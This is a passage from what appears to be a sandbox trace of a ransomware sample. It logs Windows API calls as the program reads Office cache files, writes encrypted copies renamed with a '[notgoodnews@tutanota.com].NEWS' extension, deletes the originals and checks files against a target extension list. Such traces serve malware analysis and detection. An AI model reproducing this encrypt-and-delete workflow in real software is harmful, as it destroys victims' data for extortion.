out: lpNewFilePointer=0x0) returned 1 [0045.895] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.895] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.896] GetLastError () returned 0x0 [0045.896] ReadFile (in: hFile=0x16c, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x567, lpOverlapped=0x0) returned 1 [0045.923] WriteFile (in: hFile=0x19c, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x570, lpOverlapped=0x0) returned 1 [0045.925] ReadFile (in: hFile=0x16c, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.925] WriteFile (in: hFile=0x19c, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0045.926] SetEndOfFile (hFile=0x19c) returned 1 [0045.926] CloseHandle (hObject=0x19c) returned 1 [0045.927] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.927] SetEndOfFile (hFile=0x16c) returned 1 [0045.928] CloseHandle (hObject=0x16c) returned 1 [0045.928] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0045.929] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 1 [0045.929] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0045.929] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0045.929] lstrlenW (lpString=".doc") returned 4 [0045.929] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.929] lstrlenW (lpString=".docx") returned 5 [0045.929] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0045.929] lstrlenW (lpString=".pdf") returned 4 [0045.929] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.929] lstrlenW (lpString=".xls") returned 4 [0045.930] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.930] lstrlenW (lpString=".xlsx") returned 5 [0045.930] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0045.930] lstrlenW (lpString=".ppt") returned 4 [0045.930] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0045.930] lstrlenW (lpString=".zip") returned 4 [0045.930] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.930] lstrlenW (lpString=".rar") returned 4 [0045.930] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.930] lstrlenW (lpString=".bz2") returned 4 [0045.930] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.930] lstrlenW (lpString=".7z") returned 3 [0045.930] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0045.930] lstrlenW (lpString=".dbf") returned 4 [0045.930] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0045.930] lstrlenW (lpString=".1cd") returned 4 [0045.930] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.930] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0045.930] lstrlenW (lpString=".jpg") returned 4 [0045.930] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0045.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0045.931] lstrlenW (lpString=".doc") returned 4 [0045.931] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.931] lstrlenW (lpString=".docx") returned 5 [0045.931] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0045.931] lstrlenW (lpString=".pdf") returned 4 [0045.931] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.931] lstrlenW (lpString=".xls") returned 4 [0045.931] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.931] lstrlenW (lpString=".xlsx") returned 5 [0045.931] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0045.931] lstrlenW (lpString=".ppt") returned 4 [0045.931] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0045.931] lstrlenW (lpString=".zip") returned 4 [0045.931] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.931] lstrlenW (lpString=".rar") returned 4 [0045.931] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.931] lstrlenW (lpString=".bz2") returned 4 [0045.931] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.932] lstrlenW (lpString=".7z") returned 3 [0045.932] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0045.932] lstrlenW (lpString=".dbf") returned 4 [0045.932] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0045.932] lstrlenW (lpString=".1cd") returned 4 [0045.932] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0045.932] lstrlenW (lpString=".jpg") returned 4 [0045.932] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.932] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0045.932] lstrlenW (lpString="InfoPathMUI.xml") returned 15 [0045.932] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0045.934] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1231) returned 1 [0045.934] CloseHandle (hObject=0x16c) returned 1 [0045.934] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020 [0045.934] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0045.934] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0045.934] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.934] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.935] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.935] GetLastError () returned 0x0 [0045.935] ReadFile (in: hFile=0x16c, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x4cf, lpOverlapped=0x0) returned 1 [0045.938] WriteFile (in: hFile=0x19c, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0045.939] ReadFile (in: hFile=0x16c, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.939] WriteFile (in: hFile=0x19c, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0045.940] SetEndOfFile (hFile=0x19c) returned 1 [0045.940] CloseHandle (hObject=0x19c) returned 1 [0045.941] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.941] SetEndOfFile (hFile=0x16c) returned 1 [0045.942] CloseHandle (hObject=0x16c) returned 1 [0045.942] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0045.943] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 1 [0045.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0045.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0045.943] lstrlenW (lpString=".doc") returned 4 [0045.943] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.943] lstrlenW (lpString=".docx") returned 5 [0045.943] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0045.943] lstrlenW (lpString=".pdf") returned 4 [0045.943] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.943] lstrlenW (lpString=".xls") returned 4 [0045.943] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.944] lstrlenW (lpString=".xlsx") returned 5 [0045.944] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0045.944] lstrlenW (lpString=".ppt") returned 4 [0045.944] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0045.944] lstrlenW (lpString=".zip") returned 4 [0045.944] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.944] lstrlenW (lpString=".rar") returned 4 [0045.944] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.944] lstrlenW (lpString=".bz2") returned 4 [0045.944] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.944] lstrlenW (lpString=".7z") returned 3 [0045.944] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0045.944] lstrlenW (lpString=".dbf") returned 4 [0045.944] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0045.944] lstrlenW (lpString=".1cd") returned 4 [0045.944] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.944] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0045.944] lstrlenW (lpString=".jpg") returned 4 [0045.944] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0045.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0045.945] lstrlenW (lpString=".doc") returned 4 [0045.945] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.945] lstrlenW (lpString=".docx") returned 5 [0045.945] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0045.945] lstrlenW (lpString=".pdf") returned 4 [0045.945] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.945] lstrlenW (lpString=".xls") returned 4 [0045.945] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.945] lstrlenW (lpString=".xlsx") returned 5 [0045.945] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0045.945] lstrlenW (lpString=".ppt") returned 4 [0045.945] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0045.945] lstrlenW (lpString=".zip") returned 4 [0045.945] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.945] lstrlenW (lpString=".rar") returned 4 [0045.945] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.945] lstrlenW (lpString=".bz2") returned 4 [0045.945] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.945] lstrlenW (lpString=".7z") returned 3 [0045.946] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.946] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0045.946] lstrlenW (lpString=".dbf") returned 4 [0045.946] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.946] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0045.946] lstrlenW (lpString=".1cd") returned 4 [0045.946] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.946] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0045.946] lstrlenW (lpString=".jpg") returned 4 [0045.946] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.946] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0045.946] lstrlenW (lpString="Setup.xml") returned 9 [0045.946] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0045.947] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1852) returned 1 [0045.947] CloseHandle (hObject=0x16c) returned 1 [0045.947] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0045.947] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0045.947] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0045.947] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.947] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.947] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0045.948] GetLastError () returned 0x0 [0045.948] ReadFile (in: hFile=0x16c, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x73c, lpOverlapped=0x0) returned 1 [0046.172] WriteFile (in: hFile=0x19c, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x740, lpOverlapped=0x0) returned 1 [0046.174] ReadFile (in: hFile=0x16c, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.175] WriteFile (in: hFile=0x19c, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.175] SetEndOfFile (hFile=0x19c) returned 1 [0046.175] CloseHandle (hObject=0x19c) returned 1 [0046.176] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.176] SetEndOfFile (hFile=0x16c) returned 1 [0046.178] CloseHandle (hObject=0x16c) returned 1 [0046.178] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0046.179] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0046.179] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.179] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.179] lstrlenW (lpString=".doc") returned 4 [0046.179] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.179] lstrlenW (lpString=".docx") returned 5 [0046.179] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0046.179] lstrlenW (lpString=".pdf") returned 4 [0046.179] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.179] lstrlenW (lpString=".xls") returned 4 [0046.180] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.180] lstrlenW (lpString=".xlsx") returned 5 [0046.180] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0046.180] lstrlenW (lpString=".ppt") returned 4 [0046.180] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.180] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.180] lstrlenW (lpString=".zip") returned 4 [0046.180] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.180] lstrlenW (lpString=".rar") returned 4 [0046.180] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.180] lstrlenW (lpString=".bz2") returned 4 [0046.180] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.180] lstrlenW (lpString=".7z") returned 3 [0046.180] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.180] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.180] lstrlenW (lpString=".dbf") returned 4 [0046.180] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.180] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.180] lstrlenW (lpString=".1cd") returned 4 [0046.180] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.180] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.181] lstrlenW (lpString=".jpg") returned 4 [0046.181] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.181] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.181] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.181] lstrlenW (lpString=".doc") returned 4 [0046.181] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.181] lstrlenW (lpString=".docx") returned 5 [0046.181] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0046.181] lstrlenW (lpString=".pdf") returned 4 [0046.181] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.181] lstrlenW (lpString=".xls") returned 4 [0046.181] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.181] lstrlenW (lpString=".xlsx") returned 5 [0046.181] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0046.181] lstrlenW (lpString=".ppt") returned 4 [0046.181] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.181] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.181] lstrlenW (lpString=".zip") returned 4 [0046.181] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.181] lstrlenW (lpString=".rar") returned 4 [0046.181] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.182] lstrlenW (lpString=".bz2") returned 4 [0046.182] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.182] lstrlenW (lpString=".7z") returned 3 [0046.182] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.182] lstrlenW (lpString=".dbf") returned 4 [0046.182] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.182] lstrlenW (lpString=".1cd") returned 4 [0046.182] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.182] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.182] lstrlenW (lpString=".jpg") returned 4 [0046.182] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.182] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0046.182] lstrlenW (lpString="OneNoteMUI.xml") returned 14 [0046.182] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0046.184] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1606) returned 1 [0046.184] CloseHandle (hObject=0x16c) returned 1 [0046.184] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020 [0046.184] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0046.185] CreateFileW 